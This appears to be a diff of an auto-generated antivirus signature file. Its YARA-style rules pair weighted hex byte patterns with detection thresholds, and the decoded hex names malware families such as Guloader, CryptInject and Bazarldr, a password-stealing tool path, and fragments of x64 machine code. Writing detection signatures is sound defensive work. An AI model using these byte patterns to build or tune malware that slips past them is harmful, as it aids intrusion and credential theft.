1b 81 01 61 66 6d 65 6a 65 6e 64 65 5c 74 68 79 72 6f 68 79 6f 69 64 65 61 6e 2e 65 78 65 01 00 19 81 01 5c 53 76 6d 6d 65 70 6c 65 73 5c 68 61 6c 6f 70 73 79 63 68 65 2e 6c 6e 6b 01 00 14 81 } //385 condition: - ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*21615+(#a_30_2 & 1)*22884+(#a_2e_3 & 1)*27763+(#a_77_4 & 1)*25710+(#a_23_5 & 1)*7+(#a_46_6 & 1)*-32470) >=7 + ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*21615+(#a_30_2 & 1)*22884+(#a_2e_3 & 1)*27763+(#a_77_4 & 1)*25710+(#a_23_5 & 1)*7+(#a_72_6 & 1)*385) >=7 } -rule _InfrastructureShared_15662{ +rule _InfrastructureShared_16694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -182321,15 +194580,31 @@ rule _InfrastructureShared_15662{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 54 47 45 31 21 4d 54 42 00 01 00 23 81 01 42 42 42 71 47 47 46 68 48 48 47 68 49 48 48 68 49 48 48 68 49 48 48 68 45 45 44 65 35 35 34 40 38 38 37 01 00 25 81 01 24 62 32 63 38 } //18467 $a_35_1 = {30 37 31 61 2d 34 30 38 34 2d 62 37 34 31 2d 35 34 66 30 30 65 33 36 33 34 39 64 01 00 2e 81 01 57 69 6e 64 6f 77 73 5f 50 75 72 73 75 69 74 2e 50 72 6f } //13623 $a_74_2 = {65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 0c 81 01 67 65 74 5f 41 73 73 65 6d 62 6c 79 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 00 00 78 f2 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 } //25968 - $a_2e_3 = {49 49 59 31 32 33 21 4d 54 42 00 01 00 2a 81 01 46 61 69 72 63 68 69 6c 64 20 53 65 6d 69 63 6f 6e 64 75 63 74 6f 72 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 49 6e 63 2e 01 00 08 81 01 56 6f 64 61 66 6f 6e 65 01 00 13 81 01 56 69 73 74 65 6f 6e 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 1e 81 01 74 6e 64 72 72 73 20 75 64 6d 6e 74 6e 69 } //25956 - $a_70_4 = {6f 66 69 6c 65 6e 73 2e 65 78 65 01 00 13 81 01 54 72 75 53 65 72 76 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 20 81 01 4c 61 6e 64 41 6d 65 72 69 63 61 20 46 69 6e 61 6e 63 69 61 6c 20 47 72 6f 75 70 20 49 6e 63 2e 01 00 0f 81 01 41 6b 65 6f 20 43 6f 6e 73 75 6c 74 69 6e 67 00 00 78 f2 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 } //26478 - $a_75_5 = {6f 61 64 65 72 2e 52 56 42 46 30 31 21 4d 54 42 00 01 00 21 81 01 70 61 72 61 64 65 6e 74 6f 73 65 73 5c 41 62 6f 6e 6e 69 6e 65 6e 5c 6b 6f 6b 61 69 6e 69 73 6d 65 01 00 0e 81 01 5c 53 74 76 66 72 61 6b 6b 65 2e } //12082 - $a_01_6 = {00 1f 81 01 37 5c 42 6c 6f 6d 73 74 65 72 62 67 72 65 74 5c 62 6c 69 74 7a 70 72 65 72 6e 65 2e 69 6e 69 01 00 0e 81 01 54 72 69 6f 73 65 73 31 33 35 2e 74 72 65 01 00 1c 81 01 70 69 6e 6e 75 6c 65 20 6f 62 6c 69 67 61 74 69 6f 6e 73 72 65 6e 74 65 72 6e 65 73 01 00 25 81 01 70 69 6d 70 6c 65 64 20 76 69 73 75 61 6c 69 73 65 20 64 6f 6b 75 6d } //24939 + $a_2e_3 = {46 46 36 31 30 21 4d 54 42 00 01 00 1d 81 01 5c 72 6f 76 68 75 67 73 74 65 72 5c 73 6b 65 64 65 6b 61 74 61 72 65 72 73 2e 69 6e 69 01 00 1b 81 01 61 66 6d 65 6a 65 6e 64 65 5c 74 68 79 72 6f 68 79 6f 69 64 65 61 6e 2e 65 78 65 01 00 19 81 01 5c 53 76 6d 6d 65 70 6c 65 73 5c 68 61 6c 6f 70 73 79 63 68 65 2e 6c 6e 6b 01 00 14 81 01 54 69 6c } //25956 + $a_65_4 = {73 76 65 6a 65 6e 65 73 2e 43 75 73 01 00 18 81 01 69 6e 73 74 69 74 75 74 69 6f 6e 20 63 6f 63 63 79 67 6f 6d 6f 72 70 68 01 00 21 81 01 69 6e 74 72 61 70 61 72 74 79 20 6d 6f 72 70 68 65 6d 65 73 20 70 61 72 74 69 66 6f 72 6d 61 6e 64 01 00 08 81 01 61 6e 72 65 2e 65 78 65 00 00 78 f2 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 } //29291 + $a_75_5 = {6f 61 64 65 72 2e 4b 49 49 59 31 32 33 21 4d 54 42 00 01 00 2a 81 01 46 61 69 72 63 68 69 6c 64 20 53 65 6d 69 63 6f 6e 64 75 63 74 6f 72 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 49 6e 63 2e 01 00 08 81 01 56 } //12082 + $a_66_6 = {6e 65 01 00 13 81 01 56 69 73 74 65 6f 6e 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 1e 81 01 74 6e 64 72 72 73 20 75 64 6d 6e 74 6e 69 6e 67 73 70 72 6f 66 69 6c 65 6e 73 2e 65 78 65 01 00 13 81 01 54 72 75 53 65 72 76 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 20 81 01 4c 61 6e 64 41 6d 65 } //25711 condition: - ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*13623+(#a_74_2 & 1)*25968+(#a_2e_3 & 1)*25956+(#a_70_4 & 1)*26478+(#a_75_5 & 1)*12082+(#a_01_6 & 1)*24939) >=7 + ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*13623+(#a_74_2 & 1)*25968+(#a_2e_3 & 1)*25956+(#a_65_4 & 1)*29291+(#a_75_5 & 1)*12082+(#a_66_6 & 1)*25711) >=7 } -rule _InfrastructureShared_15663{ +rule _InfrastructureShared_16695{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 46 36 31 30 21 4d 54 42 00 01 00 1d 81 01 5c 72 6f 76 68 75 67 73 74 65 72 5c 73 6b 65 64 65 6b 61 74 61 72 65 72 73 2e 69 6e 69 01 00 1b 81 01 61 66 6d 65 6a 65 6e 64 65 5c 74 68 79 72 6f 68 79 } //18467 + $a_65_1 = {6e 2e 65 78 65 01 00 19 81 01 5c 53 76 6d 6d 65 70 6c 65 73 5c 68 61 6c 6f 70 73 79 63 68 65 2e 6c 6e 6b 01 00 14 81 01 54 69 6c 6b 72 73 65 6c 73 76 65 6a 65 6e 65 73 2e 43 75 73 01 00 18 81 01 69 6e 73 74 69 74 75 74 69 6f 6e 20 63 6f 63 63 79 67 6f 6d 6f 72 70 68 01 00 21 81 01 69 6e 74 72 61 70 } //26991 + $a_79_2 = {6d 6f 72 70 68 65 6d 65 73 20 70 61 72 74 69 66 6f 72 6d 61 6e 64 01 00 08 81 01 61 6e 72 65 2e 65 78 65 00 00 78 f2 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 49 59 31 32 33 21 4d 54 42 00 01 00 2a 81 01 46 61 69 72 63 68 69 6c 64 20 53 65 6d 69 63 6f 6e 64 75 63 74 6f 72 20 49 6e 74 65 72 6e } //29281 + $a_6f_3 = {61 6c 20 49 6e 63 2e 01 00 08 81 01 56 6f 64 61 66 6f 6e 65 01 00 13 81 01 56 69 73 74 65 6f 6e 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 1e 81 01 74 6e 64 72 72 73 20 75 64 6d 6e 74 6e 69 6e 67 73 70 72 6f 66 69 6c 65 6e 73 2e 65 78 65 01 00 13 81 01 54 72 75 53 65 72 76 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 } //29793 + $a_4c_4 = {6e } //-32480 n + $a_65_5 = {69 63 61 20 46 69 6e 61 6e 63 69 61 6c 20 47 72 6f 75 70 20 49 6e 63 2e 01 00 0f 81 01 41 6b 65 6f 20 43 6f 6e 73 75 6c 74 69 6e 67 00 00 78 f2 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 42 46 30 31 21 4d 54 42 00 01 00 21 81 01 70 61 72 61 64 65 6e 74 6f 73 65 73 5c 41 62 } //16740 + $a_69_6 = {65 6e 5c 6b 6f 6b 61 69 6e 69 73 6d 65 01 00 0e 81 01 5c 53 74 76 66 72 61 6b 6b 65 2e 6b 61 73 01 00 1f 81 01 37 5c 42 6c 6f 6d 73 74 65 72 62 67 72 65 74 5c 62 6c 69 74 7a 70 72 65 72 6e 65 2e 69 6e 69 01 00 0e 81 01 54 72 69 6f 73 65 73 31 33 35 2e 74 72 65 01 00 1c 81 01 70 69 6e 6e 75 6c 65 20 6f 62 6c 69 67 61 74 69 6f 6e } //28271 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26991+(#a_79_2 & 1)*29281+(#a_6f_3 & 1)*29793+(#a_4c_4 & 1)*-32480+(#a_65_5 & 1)*16740+(#a_69_6 & 1)*28271) >=7 + +} +rule _InfrastructureShared_16696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -182344,7 +194619,7 @@ rule _InfrastructureShared_15663{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26209+(#a_70_2 & 1)*28530+(#a_6b_3 & 1)*24946+(#a_6c_4 & 1)*30067+(#a_01_5 & 1)*30463) >=7 } -rule _InfrastructureShared_15664{ +rule _InfrastructureShared_16697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -182358,7 +194633,7 @@ rule _InfrastructureShared_15664{ ((#a_54_0 & 1)*18467+(#a_42_2 & 1)*14081+(#a_75_3 & 1)*26998+(#a_30_5 & 1)*-255+(#a_00_6 & 1)*8760) >=7 } -rule _InfrastructureShared_15665{ +rule _InfrastructureShared_16698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0d 00 21 " @@ -182377,7 +194652,7 @@ rule _InfrastructureShared_15665{ ((#a_54_0 & 1)*18467+(#a_3c_1 & 1)*-188+(#a_7c_2 & 1)*-31880+(#a_2e_3 & 1)*27763+(#a_6e_4 & 1)*26995+(#a_3a_6 & 1)*19521+(#a_65_7 & 1)*8308+(#a_73_8 & 1)*2048+(#a_65_9 & 1)*28257+(#a_74_10 & 1)*698) >=7 } -rule _InfrastructureShared_15666{ +rule _InfrastructureShared_16699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -182392,7 +194667,7 @@ rule _InfrastructureShared_15666{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*71+(#a_01_3 & 1)*4864+(#a_75_4 & 1)*25939+(#a_65_5 & 1)*27491+(#a_74_6 & 1)*698) >=8 } -rule _InfrastructureShared_15667{ +rule _InfrastructureShared_16700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0f 00 21 " @@ -182414,7 +194689,7 @@ rule _InfrastructureShared_15667{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*29301+(#a_61_2 & 1)*26881+(#a_5e_4 & 1)*400+(#a_90_5 & 1)*400+(#a_03_6 & 1)*-28669+(#a_64_8 & 1)*12000+(#a_65_9 & 1)*-8192+(#a_4d_10 & 1)*28257+(#a_73_11 & 1)*29230+(#a_36_12 & 1)*29537+(#a_01_13 & 1)*5120+(#a_50_14 & 1)*25959) >=8 } -rule _InfrastructureShared_15668{ +rule _InfrastructureShared_16701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -182425,7 +194700,7 @@ rule _InfrastructureShared_15668{ ((#a_6c_0 & 1)*16675+(#a_90_1 & 1)*400) >=10 } -rule _InfrastructureShared_15669{ +rule _InfrastructureShared_16702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -182444,7 +194719,7 @@ rule _InfrastructureShared_15669{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*25934+(#a_00_2 & 1)*25968+(#a_72_3 & 1)*384+(#a_75_4 & 1)*25938+(#a_6c_5 & 1)*26669+(#a_65_6 & 1)*29806+(#a_0d_7 & 1)*400+(#a_28_8 & 1)*9476+(#a_28_9 & 1)*400) >=10 } -rule _InfrastructureShared_15670{ +rule _InfrastructureShared_16703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 01 00 07 00 21 " @@ -182459,7 +194734,7 @@ rule _InfrastructureShared_15670{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*20512+(#a_6c_2 & 1)*21084+(#a_28_3 & 1)*1555+(#a_a2_5 & 1)*15872+(#a_28_6 & 1)*400) >=1 } -rule _InfrastructureShared_15671{ +rule _InfrastructureShared_16704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 06 00 21 " @@ -182474,7 +194749,7 @@ rule _InfrastructureShared_15671{ ((#a_54_0 & 1)*18467+(#a_0d_1 & 1)*400+(#a_00_2 & 1)*144+(#a_0d_3 & 1)*400+(#a_28_4 & 1)*9476+(#a_28_5 & 1)*400) >=13 } -rule _InfrastructureShared_15672{ +rule _InfrastructureShared_16705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 08 00 21 " @@ -182490,7 +194765,7 @@ rule _InfrastructureShared_15672{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*29541+(#a_00_3 & 1)*101+(#a_03_4 & 1)*2+(#a_f2_5 & 1)*0+(#a_52_6 & 1)*29743+(#a_30_7 & 1)*25650) >=13 } -rule _InfrastructureShared_15673{ +rule _InfrastructureShared_16706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 06 00 21 " @@ -182505,7 +194780,7 @@ rule _InfrastructureShared_15673{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29806+(#a_65_2 & 1)*23667+(#a_61_3 & 1)*25633+(#a_62_4 & 1)*26740+(#a_4d_5 & 1)*29285) >=14 } -rule _InfrastructureShared_15674{ +rule _InfrastructureShared_16707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -182520,7 +194795,7 @@ rule _InfrastructureShared_15674{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*26740+(#a_72_2 & 1)*29811+(#a_00_3 & 1)*-4238+(#a_00_5 & 1)*29450+(#a_00_7 & 1)*-29838) >=17 } -rule _InfrastructureShared_15675{ +rule _InfrastructureShared_16708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -182532,7 +194807,7 @@ rule _InfrastructureShared_15675{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*2560+(#a_4a_2 & 1)*28672) >=30 } -rule _InfrastructureShared_15676{ +rule _InfrastructureShared_16709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,21 00 21 00 06 00 21 " @@ -182540,13 +194815,38 @@ rule _InfrastructureShared_15676{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 61 7a 61 72 6c 64 72 2e 41 52 21 4d 54 42 00 0a 00 32 01 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 43 00 4f 00 4d } //16675 $a_00_2 = {21 00 2e 3f 41 56 3f 24 43 43 } //121 $a_62_3 = {65 63 74 40 56 43 53 70 79 43 6f 6e 40 40 40 41 54 4c 40 40 0a 00 1a 00 43 6f 6d 53 70 79 20 31 2e 30 20 54 79 70 65 20 4c 69 62 72 61 72 79 57 57 57 01 00 2d 00 76 65 72 73 69 6f 6e 20 38 2e 30 31 2e 30 36 32 32 20 61 74 20 4d 6f 6e 20 } //28015 - $a_20_4 = {38 20 31 39 3a 31 34 3a 30 37 20 32 30 33 38 01 00 09 00 53 70 79 43 6f 6e 57 57 64 01 00 0a 00 6d 65 74 68 6f 64 20 52 75 6e 00 00 1e 00 78 f2 00 00 50 00 50 00 07 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 57 69 6e 64 75 70 64 61 74 65 73 00 32 00 0b 01 4d 65 64 69 61 41 63 63 65 73 73 0a 00 0d 01 4d 65 64 69 61 41 63 63 } //24906 - $a_6c_5 = {0a 00 10 01 44 6f 25 77 6e 25 6c 6f 61 25 64 50 61 25 74 68 0a 00 16 01 41 64 25 53 74 25 61 74 25 75 73 20 53 25 65 72 76 25 69 63 25 65 0a 00 14 01 44 65 25 73 25 6b 41 25 64 20 53 25 65 72 76 25 69 63 25 65 0a 00 40 01 38 30 37 35 63 31 62 35 35 35 32 33 64 35 34 38 35 38 37 39 64 32 36 39 62 32 } //11843 + $a_20_4 = {38 20 31 39 3a 31 34 3a 30 37 20 32 30 33 38 01 00 09 00 53 70 79 43 6f 6e 57 57 64 01 00 0a 00 6d 65 74 68 6f 64 20 52 75 6e 00 00 1e 00 78 f2 00 00 32 00 32 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 41 54 21 4d 54 42 00 0a 00 22 00 44 00 65 00 73 00 6b 00 52 00 6f 00 } //24906 + $a_00_5 = {53 00 65 00 74 00 75 00 70 00 2e 00 65 00 78 00 65 00 14 00 33 81 01 61 69 64 61 6e 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 50 72 6f 6a 65 63 74 32 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 49 6e 73 74 61 6c 6c 2e 70 64 62 14 00 62 01 34 38 89 4c 24 20 33 c9 ff 15 da 12 00 00 48 8b 85 c8 04 00 00 48 8d 4c 24 50 48 89 85 e8 } //108 condition: - ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*121+(#a_62_3 & 1)*28015+(#a_20_4 & 1)*24906+(#a_6c_5 & 1)*11843) >=33 + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*121+(#a_62_3 & 1)*28015+(#a_20_4 & 1)*24906+(#a_00_5 & 1)*108) >=33 } -rule _InfrastructureShared_15677{ +rule _InfrastructureShared_16710{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 41 54 21 4d 54 42 00 0a 00 22 00 44 00 65 00 73 00 6b 00 52 00 6f 00 6c 00 6c 00 53 00 65 00 74 00 75 00 70 00 2e 00 65 00 78 00 65 00 14 00 33 81 01 61 } //21283 + $a_6e_1 = {73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 50 72 6f 6a 65 63 74 32 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 49 6e 73 74 61 6c 6c 2e 70 64 62 14 00 62 01 34 38 89 4c 24 20 33 c9 ff 15 da 12 00 00 48 8b 85 c8 04 00 00 48 8d 4c 24 50 48 89 85 e8 00 00 00 33 d2 48 8d 85 c8 04 00 00 41 b8 98 00 00 00 } //25705 + $a_08_2 = {48 89 85 88 00 00 00 e8 5d 06 00 00 48 8b 85 c8 04 00 00 48 89 44 24 60 c7 44 24 50 15 00 00 40 c7 44 24 54 01 00 00 00 ff 15 9e 12 00 00 00 00 78 f2 00 00 46 00 46 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 4d 52 21 4d 54 42 00 05 00 48 03 48 83 c4 20 48 8b 55 d0 8b 05 90 01 04 8d 58 ff 0f af d8 f6 c3 01 0f 94 45 fe 8b 3d 90 01 04 be 12 b2 a2 31 b8 30 94 cb b4 0f 44 f0 83 ff 0a 0f 9c 45 ff 0f 4c f0 4d 8b 07 b8 f2 6d d3 bf 0f 1f 00 3d 32 fc 3c ca 90 00 32 00 46 03 48 8b 44 24 38 0f be 00 33 44 24 54 69 c0 95 e9 } //-31928 + condition: + ((#a_46_0 & 1)*21283+(#a_6e_1 & 1)*25705+(#a_08_2 & 1)*-31928) >=50 + +} +rule _InfrastructureShared_16711{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,46 00 46 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 4d 52 21 4d 54 42 00 05 00 48 03 48 83 c4 20 48 8b 55 d0 8b 05 90 01 04 8d 58 ff 0f af d8 f6 c3 01 0f 94 45 fe 8b 3d 90 01 04 be 12 } //21539 + $a_b8_1 = {94 cb b4 0f 44 f0 83 ff 0a 0f 9c 45 ff 0f 4c f0 4d 8b 07 b8 f2 6d d3 bf 0f 1f 00 3d 32 fc 3c ca 90 00 32 00 46 03 48 8b 44 24 38 0f be 00 33 44 24 } //-23886 + $a_95_2 = {d1 5b 33 44 24 4c 89 44 24 48 8b 05 3c 90 01 03 8d 70 ff 0f af f0 40 f6 c6 01 be 47 70 da 9d 41 0f 44 f6 83 3d 26 90 01 03 0a 41 0f 4c f6 81 fe ca f8 33 10 90 00 0a 00 14 01 41 38 5e 55 6b 6c 66 6d 75 71 5e 4f 6b 61 70 6d 71 6d 64 76 05 00 12 01 61 6a 54 53 59 52 4a 4e 61 70 54 5e 4f 52 4e 52 5b 49 00 00 78 f2 00 00 50 00 50 00 07 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 57 69 6e 64 75 70 64 61 74 65 73 00 32 00 0b 01 4d 65 64 69 61 41 63 63 65 73 73 0a 00 0d 01 4d 65 64 69 61 41 63 63 43 2e 64 6c 6c 0a 00 10 01 44 6f 25 77 6e 25 6c 6f 61 25 64 50 61 25 74 68 0a } //26964 + $a_41_3 = {25 } //5632 % + condition: + ((#a_4c_0 & 1)*21539+(#a_b8_1 & 1)*-23886+(#a_95_2 & 1)*26964+(#a_41_3 & 1)*5632) >=70 + +} +rule _InfrastructureShared_16712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,50 00 50 00 07 00 21 " @@ -182561,7 +194861,7 @@ rule _InfrastructureShared_15677{ ((#a_77_0 & 1)*16675+(#a_44_1 & 1)*5120+(#a_41_2 & 1)*9587+(#a_30_3 & 1)*30772+(#a_0b_5 & 1)*-7743+(#a_0f_6 & 1)*-28479) >=80 } -rule _InfrastructureShared_15678{ +rule _InfrastructureShared_16713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -182575,7 +194875,7 @@ rule _InfrastructureShared_15678{ ((#a_77_0 & 1)*19491+(#a_90_1 & 1)*3010+(#a_01_2 & 1)*29295+(#a_6f_3 & 1)*11887+(#a_00_4 & 1)*894) >=1 } -rule _InfrastructureShared_15679{ +rule _InfrastructureShared_16714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " @@ -182595,7 +194895,7 @@ rule _InfrastructureShared_15679{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*3328+(#a_79_2 & 1)*29545+(#a_62_3 & 1)*5120+(#a_6e_4 & 1)*26988+(#a_00_5 & 1)*117+(#a_39_6 & 1)*12297+(#a_6f_7 & 1)*17978+(#a_2d_8 & 1)*23085+(#a_41_9 & 1)*11568+(#a_79_10 & 1)*27715) >=1 } -rule _InfrastructureShared_15680{ +rule _InfrastructureShared_16715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -182605,7 +194905,7 @@ rule _InfrastructureShared_15680{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_15681{ +rule _InfrastructureShared_16716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -182616,7 +194916,7 @@ rule _InfrastructureShared_15681{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*46) >=3 } -rule _InfrastructureShared_15682{ +rule _InfrastructureShared_16717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -182628,7 +194928,7 @@ rule _InfrastructureShared_15682{ ((#a_70_0 & 1)*16675+(#a_68_1 & 1)*17696+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_15683{ +rule _InfrastructureShared_16718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -182639,7 +194939,7 @@ rule _InfrastructureShared_15683{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*512) >=3 } -rule _InfrastructureShared_15684{ +rule _InfrastructureShared_16719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -182651,7 +194951,7 @@ rule _InfrastructureShared_15684{ ((#a_46_0 & 1)*21283+(#a_02_1 & 1)*-28480+(#a_48_2 & 1)*17803) >=3 } -rule _InfrastructureShared_15685{ +rule _InfrastructureShared_16720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -182661,23 +194961,32 @@ rule _InfrastructureShared_15685{ ((#a_4c_0 & 1)*21539) >=3 } -rule _InfrastructureShared_15686{ +rule _InfrastructureShared_16721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 6f 6f 6b 74 6f 6f 2e 43 21 64 68 61 00 01 00 1b 80 01 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 72 65 61 74 65 43 68 61 6e 6e 65 6c 01 00 27 80 01 4e 74 44 43 6f 6d 70 6f 73 69 74 69 } //16675 $a_72_1 = {63 65 73 73 43 68 61 6e 6e 65 6c 42 61 74 63 68 42 75 66 66 65 72 01 00 1b 80 01 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 6f 6d 6d 69 74 43 68 61 6e 6e 65 6c f6 ff 2c 00 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 54 65 6c 65 6d 65 74 72 } //28271 - $a_75_2 = {68 49 6e 74 65 72 61 63 74 69 6f 6e 42 65 67 69 6e f6 ff 0b 00 44 63 6f 6d 70 46 75 7a 7a 65 72 f6 ff 0a 00 77 69 6e 33 32 75 2e 70 64 62 f6 ff 0c 80 01 73 79 7a 2d 65 78 65 63 75 74 6f 72 00 00 78 f3 00 00 04 00 04 00 06 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 53 74 61 72 74 53 63 72 65 65 6e 52 } //21625 - $a_72_3 = {65 72 00 02 00 1f 80 01 5c 73 63 72 65 65 6e 2d 72 65 63 6f 72 64 65 72 2d 6c 61 75 6e 63 68 65 72 5c 73 68 65 6c 6c 02 00 13 80 01 53 74 61 72 74 53 63 72 65 65 6e 52 65 63 6f 72 64 65 72 02 00 1f 80 01 73 63 72 65 65 6e 63 61 73 74 2d 6f 2d 6d 61 74 69 63 2e 63 6f 6d 2f 6c 61 75 6e 63 68 65 72 02 00 2d 80 01 2f 61 72 67 73 3f 69 } //25445 - $a_36_4 = {61 33 39 37 36 2d 64 64 37 66 2d 34 37 66 34 2d 38 35 34 61 2d 38 34 36 31 63 38 34 39 31 34 31 32 01 00 15 80 01 57 65 62 4c 61 75 6e 63 68 52 65 63 6f 72 64 65 72 2e 65 78 65 01 00 0e 80 01 25 73 26 65 78 65 74 69 6d 65 3d 25 6c 64 00 00 78 f3 00 00 04 00 04 00 07 00 21 23 41 4c 46 3a 59 32 56 } //15716 - $a_62_5 = {72 5f 53 61 66 65 74 79 5f 53 6f 6c 75 74 69 6f 6e 73 5f 54 72 2f 49 72 6f 6e 54 69 67 65 72 5f 47 65 74 50 61 73 73 77 6f 72 64 5f 78 36 34 00 04 00 0c 80 01 28 4c 55 49 44 20 45 52 52 4f 52 29 04 00 20 80 01 55 73 65 72 73 5c 4b 38 74 65 61 6d 5c 44 65 73 6b 74 6f 70 5c 47 65 74 50 61 73 73 77 6f 72 64 04 00 19 80 01 44 65 62 75 67 20 78 36 34 5c 47 65 74 50 } //17210 - $a_77_6 = {72 64 